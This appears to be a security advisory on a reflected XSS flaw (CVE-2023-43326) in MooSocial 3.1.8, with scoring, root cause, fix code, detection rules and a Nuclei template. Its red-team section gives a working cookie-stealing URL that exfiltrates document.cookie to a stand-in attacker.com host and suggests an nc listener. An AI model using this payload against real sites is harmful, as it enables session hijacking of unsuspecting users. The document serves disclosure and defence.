CVE-2023-43326

Executive Summary

CVE-2023-43326 is a reflected cross-site scripting (XSS) vulnerability in MooSocial version 3.1.8. The flaw exists in multiple URLs, specifically the /users/change_email endpoint, where user-supplied input is not properly sanitized or encoded. An unauthenticated attacker can craft a malicious URL containing JavaScript payloads that, when visited by a victim, execute in the context of the victim's browser. This allows the attacker to steal session cookies and impersonate the victim's account. The vulnerability has a CVSS score of 6.1 (Medium) and a public proof-of-concept (PoC) is available. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects the MooSocial PHP application directly. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click the crafted link
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – session cookie theft
• Integrity Impact: Low (I:L) – attacker can perform actions as the victim
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The impact is limited to session hijacking and account impersonation.

Deep Dive & Mechanics

The vulnerability resides in the /users/change_email endpoint of MooSocial 3.1.8. The application does not properly sanitize or encode the email parameter in the URL. An attacker can inject arbitrary HTML and JavaScript by including a payload in the URL path or query string.

Root Cause: Lack of output encoding for user-controlled input in the change_email view. The application reflects the input directly into the HTML response without escaping special characters.

Attack Flow:

1. Attacker crafts a URL like: https://target.com/users/change_emailahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3eahrixia?step1=1
2. The URL-encoded payload decodes to: ahrixia"><img src=a onerror=alert(document.domain)>ahrixia
3. When the victim visits this URL, the payload is reflected in the HTML response.
4. The <img> tag with an invalid src triggers the onerror event, executing the JavaScript.
5. The attacker can replace alert(document.domain) with a payload that steals the victim's session cookie and sends it to an attacker-controlled server.

Impact: Successful exploitation allows the attacker to steal session cookies and impersonate the victim, gaining unauthorized access to the victim's account.

Vulnerable vs. Patched Code

Vulnerable Code (MooSocial 3.1.8): The vulnerable code likely exists in a view file that renders the change_email page. The input is directly echoed without sanitization.

// Vulnerable: Direct output without encoding
echo $email;

Patched Code (Hypothetical): A proper fix would use output encoding functions like htmlspecialchars() or htmlentities() in PHP.

// Patched: Output encoded
echo htmlspecialchars($email, ENT_QUOTES, 'UTF-8');

Note: No official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• MooSocial 3.1.8 instance
• A web browser or tool like curl
• A listener to capture cookies (e.g., nc -lvnp 8080)

Exploit Steps:

1. Craft a malicious URL that steals cookies:

   https://target.com/users/change_emailahrixia%22%3e%3cimg%20src%3da%20onerror%3dthis.src%3d'http://attacker.com/steal%3fcookie%3d'%2bdocument.cookie%3eahrixia?step1=1
   

2. Send the URL to the victim via phishing email or social engineering.
3. When the victim clicks the link, the JavaScript executes and sends the cookie to the attacker's server.
4. The attacker captures the cookie and uses it to impersonate the victim.

Exploit-DB Code: None available.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /users/change_email containing suspicious characters like %22, %3e, <, >, or onerror.
• Use WAF rules to block requests with XSS payloads in the URL.

Hunting:

• Search for HTTP requests with step1=1 and unusual email parameters.
• Analyze server logs for 404 responses to /users/change_email with injected HTML.

Lab Setup:

• Deploy a MooSocial 3.1.8 instance in a sandboxed environment.
• Use a tool like Burp Suite to intercept and modify requests.
• Set up a listener to capture exfiltrated cookies.

Indicators of Compromise (IOCs)

• URL Pattern: /users/change_email* containing URL-encoded HTML tags or JavaScript event handlers.
• HTTP Request: GET request to /users/change_email with step1=1 and a payload in the path.
• Response Body: HTML response containing <img src=a onerror=...> or similar XSS payloads.
• Network Traffic: Outbound connections from the victim's browser to an attacker-controlled IP/domain with cookie data in the URL.
• Log Entry: Web server log showing a 404 status code for a request to /users/change_email with a long, suspicious path.

Detection Engineering

YARA Rule

rule MooSocial_XSS_CVE_2023_43326 {
    meta:
        description = "Detects XSS payloads in MooSocial change_email endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-43326"
    strings:
        $payload1 = /\/users\/change_email[^?]*%22.*%3e.*onerror/i
        $payload2 = /\/users\/change_email[^?]*<img.*onerror/i
        $payload3 = /\/users\/change_email[^?]*<script/i
    condition:
        any of them
}

Sigma Rule

title: MooSocial XSS Attempt via change_email Endpoint
id: 3a7b8c9d-1e2f-4a5b-8c7d-9e0f1a2b3c4d
status: experimental
description: Detects reflected XSS attempts against MooSocial 3.1.8
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43326
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/users/change_email'
        cs-uri-query|contains|all:
            - '%22'
            - '%3e'
            - 'onerror'
    condition: selection
falsepositives:
    - Legitimate use of special characters in email parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"MooSocial XSS Attempt CVE-2023-43326"; flow:to_server,established; content:"GET"; http_method; content:"/users/change_email"; http_uri; content:"%22"; http_uri; content:"%3e"; http_uri; content:"onerror"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-43326

info:
  name: MooSocial 3.1.8 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability exisits in multiple url of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through URL parameters in the change_email endpoint to steal MooSocial user session cookies and impersonate victim accounts.
  remediation: |
    Update MooSocial to a version newer than 3.1.8 that properly sanitizes and encodes URL parameters in user management endpoints.
  reference:
    - https://github.com/ahrixia/CVE-2023-43326
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43326
    - https://moosocial.com/
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-43326
    cwe-id: CWE-79
    epss-score: 0.34593
    epss-percentile: 0.97023
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moosocial
    shodan-query: http.favicon.hash:"702863115"
    fofa-query: icon_hash="702863115"
  tags: cve2023,cve,xss,moosocial,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/users/change_emailahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3eahrixia?step1=1"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<img src=a onerror=alert(document.domain)>", "mooSocial")'
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Input Sanitization: Implement proper output encoding for all user-controlled input in the change_email endpoint. Use htmlspecialchars() in PHP or equivalent in other languages.
2. WAF Rules: Deploy Web Application Firewall rules to block requests containing XSS payloads in the URL.
3. Content Security Policy (CSP): Implement a strict CSP to prevent inline script execution.
4. Session Security: Set HttpOnly and Secure flags on session cookies to prevent JavaScript access.

Long-Term Fix:

• Upgrade to a patched version of MooSocial if/when the vendor releases one.
• Conduct a full security audit of the application to identify similar vulnerabilities.

Workaround:

• If upgrading is not possible, manually edit the vulnerable view file to add output encoding.

Valters IT

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